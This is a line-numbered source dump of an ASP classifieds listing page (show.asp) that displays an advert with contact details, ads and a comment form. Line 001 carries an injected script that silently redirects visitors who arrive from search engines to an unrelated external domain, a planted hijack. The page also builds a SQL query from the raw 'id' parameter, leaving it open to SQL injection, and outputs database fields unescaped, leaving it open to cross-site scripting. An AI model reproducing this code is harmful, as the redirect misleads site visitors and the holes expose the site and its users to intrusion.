d:\wwwroot\wuchunhua\show.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%response.ContentType   =   "text/html"  
002: response.CharSet   =   "gb2312" %
>
003: <!--#include file="head.asp"-->
004: <body bgcolor="#FFFFFF">
005: <DIV align="center">
006:   <%dim theitem,sql,rs,thepage,currentpage,pagename,totalpage,n,page
007:   if request("id")="" then
008:    response.write "<script>alert('错误参数!');history.back();</script>"
009:    response.end
010:    end if
011: Set rs = Server.CreateObject("ADODB.Recordset")
012:     sql="select * from china_data where mark='yes' and stop >= date() and adid="&request("id")&""
013:     rs.open sql,conn,1,3%
>
014:   <%if rs.eof then
015:    response.write "<font color=#ff0000>对不起,没有找到符合条件的广告内容!</font>"
016:    rs.close:set rs=nothing
017:    conn.close:set conn=nothing
018:       response.end
019: end if
020: adid=rs("adid")
021: %
>
022: <TABLE width="860"  border="0" cellspacing="0" cellpadding="0"><TR valign="top"><TD width="580"><TABLE width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0"><TR><TD bgcolor="#FFFFFF"><TABLE width="97%"  border="0" align="center" cellpadding="0" cellspacing="0">
023:   <TR>
024:     <TD height="102" valign="bottom"><%if picpass(12)="yes" then%><!--#include file="js/show.asp" --><%end if%></TD>
025:   </TR>
026:   <TR><TD height="40" valign="bottom"><DIV align="center">
027:                 <P style="line-height: 200%">
028:                 <%if rs("cu")="yes" then%>
029:                 <B><FONT style="font-size:16px" <%IF RS("COLOR")<>"" THEN%>COLOR="<%=rs("color")%>"<%end if%>><%=rs("title")%></FONT></B>
030:                 <%else%>
031:                 <FONT style="font-size:16px" <%IF RS("COLOR")<>"" THEN%>COLOR="<%=rs("color")%>"<%end if%>><%=rs("title")%></FONT>
032:                 <%end if%>
033:               </DIV></TD></TR><TR><TD><HR size="1" color="#FF6600"></TD></TR><TR><TD><DIV align="center">区域:<FONT color="#FF0000"><%=rs("city_one")%>
034:                       <%if rs("city_two")<>"" then %>
035:                       /<%=rs("city_two")%>
036:                       <%end if%>
037:                       <%if rs("city_three")<>"" then %>
038:                       /<%=rs("city_three")%>
039:                       <%end if%>
040:                 </FONT> &nbsp;类别:<FONT color="#FF0000"><%=rs("type_one")%>
041:                 <%if rs("type_two")<>"" then %>
042:                 /&nbsp;<%=rs("type_two")%>
043:                 <%end if%>
044:                 <%if rs("type_three")<>"" then %>
045:                 /&nbsp;<%=rs("type_three")%>
046:                 <%end if%></FONT>
047:                 &nbsp;信息ID号:<%=rs("adid")%>&nbsp;&nbsp;人气指数:
048: <SCRIPT language="javascript">
049: function   XmlPost2(webFileUrl)  
050: {  
051: var   result   =   "";  
052: var   xmlHttp   =   new   ActiveXObject("MSXML2.XMLHTTP");  
053: xmlHttp.open("POST",   webFileUrl,   false);  
054: xmlHttp.send("");  
055: result   =   xmlHttp.responseText;  
056: document.write(result);  
057: }
058: </SCRIPT><SCRIPT language="javascript">XmlPost2('rq_message.asp?action=rq&type=show&id=<%=rs("adid")%>');</SCRIPT></DIV>
059:             </TD></TR><TR><TD> </TD></TR>
060:             <TR>
061:               <TD align="center"><script type="text/javascript"><!--
062: google_ad_client = "pub-0161436954854754";
063: /* 468x60, 创建于 09-8-22 */
064: google_ad_slot = "5656583404";
065: google_ad_width = 468;
066: google_ad_height = 60;
067: //-->

068: </script>
069: <script type="text/javascript"
070: src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
071: </script></TD>
072:              </TR>
073:             <TR>
074:               <TD>&nbsp;</TD>
075:              </TR>
076:             <TR><TD><P style="line-height: 200%"><SPAN style="font-size: 10.5pt"><%=rs("text")%></SPAN></TD></TR>
077:             <%if rs("pic")<>"" then%><TR><TD>
078:             <TABLE width="320" height="220" border="0" cellpadding="0" cellspacing="1" bgcolor="e8e8e8" style="float:left;"><TR><TD align="center" bgcolor="#FFFFFF">
079:                 <A href="adpic/<%=rs("pic")%>" target="_blank"><IMG src="adpic/<%=rs("pic")%>" border="0" width="310" height="210" style="float:center;"></A>
080:                 </TD></TR></TABLE></TD></TR><%end if%><TR><TD><TABLE width="100%" height="130" border="0" cellpadding="0" cellspacing="0" style="float:left;" id="table19">
081:       <TR><TD align="left" colspan="2"><HR size="1" color="#FF6600"></TD></TR><TR BACKGROUND="images/news_0025.gif"><TD height="25" align="left" background="images/news_0025.gif">联系人:
082: <SCRIPT language="javascript">
083: function show(link)
084: {
085: window.open(link,'','top=0,left=0,width=400,height=240,scrollbars=no')
086: }
087: </SCRIPT>
088:                                 <%=rs("username")%><font color="#FF0000">[
089:                                 <%if rs("uid")<>"" then%>
090:                                 <A href="javascript:show(&quot;send_zn_message.asp?username=<%=rs("username")%>&uid=<%=rs("uid")%>&quot;)" title="发送站内消息"><FONT color="#FF0000">给会员发送留言</FONT></A>
091:                                 <%else%>
092:                                 <FONT color="#FF0000">游客
093:                                 <%end if%>]</FONT></TD><TD height="25" align="left" background="images/news_0025.gif">联系电话:<%=rs("tel")%>&nbsp;&nbsp;<%if len(rs("tel"))>=11 then%><A href="phone.asp?phone=<%=rs("tel")%>">查询</A><%end if%></TR><TR><TD height="25" align="left" background="images/news_0025.gif">
094: <%uid=rs("uid")
095: sql="select * from china_user where uid='"& uid &"'"
096: set rs1=server.createobject("adodb.recordset")
097: rs1.open sql,conn,1,3
098: if not rs1.eof then
099: qq=rs1("qq")
100: add=rs1("add")
101: email=rs1("email")
102: rs1.close:set rs1=nothing                                                                                    
103: end if
104: response.Write "Email:<a href=""mailto:"&email&""">"
105: if email="" then
106: response.Write "</a>未填"
107: else
108: response.Write email
109: end if
110: response.Write "</td><td height=""25"" align=""left"" background=""images/news_0025.gif""> QQ:"
111: if qq="" then
112: response.Write "未填 "
113: else
114: response.Write qq
115: end if
116: response.Write "</td></tr><tr><td height=""25"" align=""left"" background=""images/news_0025.gif"">发布时间:"&rs("date")&"</td>"
117: response.Write "<td height=""25"" align=""left"" background=""images/news_0025.gif"">网址:<a target=""_blank"" href=""http://"&add&""">"
118: if add="" then
119: response.Write "</a>未填"
120: else
121: response.Write add
122: end if
123: response.Write "</td></tr><tr><td align=""left"">"
124: if rs("top")="1" then
125: response.Write "<font color=""#FF0000""><img border=""0"" src=""images/jian.gif"" width=""20"" height=""20"" alt=""固顶信息""></font>"
126: response.Write "<font color=""#008000""> 本条信息离结束日期还有"&datediff("d",date(),rs("stop"))&"天</font>"
127: else
128: if rs("money")<>"0" then
129: response.Write "<img src=""images/dot.gif""> <font color=""#FF6600""><img border=""0"" src=""images/50.gif"" width=""20"" height=""20"" alt=""竞价广告""></font>"%
>
130:                                 <FONT color="#008000">本条信息离结束日期还有<%=datediff("d",date(),rs("stop"))%>天</FONT>
131:                                 <%else%>
132:                                 <FONT color="#008000">本条信息离结束日期还有<%=datediff("d",date(),rs("stop"))%>天↑</FONT>
133:                                 <%end if
134:                         end if
135:                         ip=rs("ip")
136:                         rs.close:set rs=nothing%
>
137: </TD><TD>IP:<%=ip%><%if ip<>"" then%><A href="ip.asp?ip=<%=ip%>">查询</A><%end if%></TD></TR><TR><TD align="left" colspan="2"><script type="text/javascript"><!--
138: google_ad_client = "pub-0161436954854754";
139: /* 468x15, 创建于 09-8-20 */
140: google_ad_slot = "4354725058";
141: google_ad_width = 468;
142: google_ad_height = 15;
143: //-->

144: </script>
145: <script type="text/javascript"
146: src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
147: </script> </span><HR size="1" color="#FF6600"></TD></TR><TR><TD align="left" colspan="2"></TD></TR></TABLE></TD>
148: </TR></TABLE>
149: <TABLE width="97%" border="0" align="center" cellpadding="0" cellspacing="0"><TR><TD>
150: <SCRIPT language="JavaScript">
151: <!--//
152: function checkmessage()
153: {  
154:     if (document.form.messagetext.value.length<1)
155:    {
156:         alert("请填写留言内容!");
157:         document.form.messagetext.focus();
158:         return false;
159:     }
160:        if (document.form.messagetext.value.length>100)
161:    {
162:         alert("请把留言字数控制在100以内!");
163:         document.form.messagetext.focus();
164:         return false;
165:     }
166: }
167: //-->

168: </SCRIPT>
169: <FORM name="form" method="post" action="post.asp?type=show&id=<%=request("id")%>" onSubmit="return checkmessage()"><TABLE  border="0" cellpadding="2" cellspacing="1" style="word-break:break-all" width="100%"><TR bgcolor="#FFFFFF">
170:   <TD valign="top" bgcolor="#FFFFFF"><P style="line-height: 180%"><SPAN style="font-size: 10.5pt">留言人:
171:         <INPUT name="messagename" type="text" id="messagename4" size="9" maxlength="20">
172:         联系方式:
173:         <INPUT name="messagelxfs" type="text" id="messagelxfs4" size="10" maxlength="50">
174:         <BR>
175:         留言内容:<FONT color=#fa4600>[请遵纪守法并注意语言文明]</FONT></SPAN><BR>
176:         <TEXTAREA name="messagetext" cols="60" rows="6"></TEXTAREA>
177:         </span>
178:     </P>
179:   <TABLE width="100%"  border="0" cellspacing="0" cellpadding="0"><TR><TD align="right"><DIV align="left"><INPUT type="submit" name="Submit" value="提交留言"></DIV></TD></TR></TABLE></TD></TR><TR><TD valign="top" ><SCRIPT language="javascript">XmlPost2('rq_message.asp?action=message&type=show&id=<%=adid%>');</SCRIPT></TD></TR></TABLE></FORM></TD></TR></TABLE></TD></TR>
180: </TABLE></TD>
181: <TD width="10"> </TD>
182: <TD width="270"><TABLE width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
183:   <TR>
184:     <TD bgcolor="#FFFFFF"><TABLE width="92%"  border="0" align="center" cellpadding="0" cellspacing="0">
185:         <TR valign="bottom">
186:           <TD height="28" colspan="2"><SPAN style="font-weight: bold; color: #990000;">竟价排名分类信息</SPAN></TD>
187:         </TR>
188:         <TR>
189:           <TD colspan="2"><TABLE width="100%"  border="0" cellspacing="0" cellpadding="0">
190:               <TR>
191:                 <TD><HR size="1" color="#C0C0C0"></TD>
192:               </TR>
193:               <TR>
194:                 <TD>
195:                   <%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
196: set rs1=server.createobject("adodb.recordset")              
197: sql="select top 16 * from china_data where money>0 and stop >= date() and mark='yes' order by money desc"
198: rs1.open sql,conn,1,1
199: if rs1.eof then
200: response.write "<tr><td>暂无竞价排名分类信息</td></tr>"
201: else
202: i=0
203: do while not rs1.eof
204: if i mod 2=0 then response.write "<tr>"
205: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
206: if rs1("color")<>"" then response.write "color="&rs1("color")
207: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
208: rs1.movenext
209: i=i+1
210: if i mod 2=0 then response.write "</tr>"
211: loop
212: end if
213: rs1.close:set rs1=nothing
214: if i mod 2<>0 then response.write "<td></td></tr>"
215: response.write "</table>"%
></TD>
216:               </TR>
217:               <TR>
218:                 <TD><HR size="1" color="#C0C0C0"></TD>
219:               </TR>
220:           </TABLE></TD>
221:         </TR>
222:         <TR>
223:           <TD width="25" height="200" bgcolor="DAF0FF"><DIV align="center"><STRONG>图<BR>
224:               片<BR>
225:               推<BR>
226:               荐<BR>
227:               信<BR>
228:               息</STRONG></DIV>
229:                
230:           </TD>
231:           <TD><%set rs1 = server.createobject("adodb.recordset")
232: sql="select top 4 adid,pic,color,title,cu from [china_data] where mark='yes' and mark='yes' and stop >= date() and hotpoto=1 and pic <>'' order by [top] desc,money desc,adid desc"            
233: rs1.open sql,conn,1,1  
234: if rs1.eof then
235: response.write "暂无推荐图片信息"
236: else
237: i=0
238: response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
239: do while not rs1.eof
240: if i mod 2=0 then response.write "<tr>"
241: response.write "<td align=""center""><a href=""html/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
242: response.write "<a href=""html/"&rs1("adid")&".htm"" target=""_blank"">"
243: if rs1("cu")="yes" then
244: response.write "<b><font style=""font-size:9pt"""
245: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
246: response.write ">"&left(rs1("title"),8)&"</font></b>"
247: else
248: response.write "<font style=""font-size:9pt"""
249: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
250: response.write ">"&left(rs1("title"),8)&"</font>"
251: end if
252: response.write "</a></td>"
253: rs1.movenext
254: i=i+1
255: if i mod 2=0 then response.write "</tr>"
256: loop
257: if i mod 2<>0 then response.write "<td></td></tr>"
258: response.write "</table>"
259: end if
260: rs1.close:set rs1=nothing%
></TD>
261:         </TR>
262:         <TR>
263:           <TD height="30" colspan="2" background="images/news_0024.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="color: #990000"><STRONG>热点信息</STRONG></SPAN></TD>
264:         </TR>
265:         <TR>
266:           <TD colspan="2"><%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
267: set rs1=server.createobject("adodb.recordset")              
268: sql="select top 16 * from china_data where hot=1 and stop >= date() and mark='yes' order by adid desc"
269: rs1.open sql,conn,1,1
270: if rs1.eof then
271: response.write "<tr><td>暂无热点分类信息</td></tr>"
272: else
273: i=0
274: do while not rs1.eof
275: if i mod 2=0 then response.write "<tr>"
276: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
277: if rs1("color")<>"" then response.write "color="&rs1("color")
278: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
279: rs1.movenext
280: i=i+1
281: if i mod 2=0 then response.write "</tr>"
282: loop
283: end if
284: rs1.close:set rs1=nothing
285: if i mod 2<>0 then response.write "<td></td></tr>"
286: response.write "</table>"%
></TD>
287:         </TR>
288:         <TR>
289:           <TD colspan="2"><SCRIPT type="text/javascript"><!--
290: google_ad_client = "pub-7959465154098151";
291: google_ad_width = 250;
292: google_ad_height = 250;
293: google_ad_format = "250x250_as";
294: google_ad_type = "text_image";
295: google_ad_channel = "";
296: google_color_border = "E6E6E6";
297: google_color_bg = "FFFFFF";
298: google_color_link = "0000FF";
299: google_color_text = "000000";
300: google_color_url = "008000";
301: //-->

302: </SCRIPT>
303:               <SCRIPT type="text/javascript"
304:   src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
305:   </SCRIPT></TD>
306:         </TR>
307:       </TABLE>
308:         <TABLE  border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
309:           <TR>
310:             <TD height="8"></TD>
311:           </TR>
312:       </TABLE></TD>
313:   </TR>
314: </TABLE></TD></TR></TABLE><TABLE  border="0" cellpadding="0" cellspacing="0" align="center" id="table2"><TR><TD height="5" width="175"></TD></TR></TABLE></DIV>
315: <!--#include file="foot.asp"-->
316:
317:
318: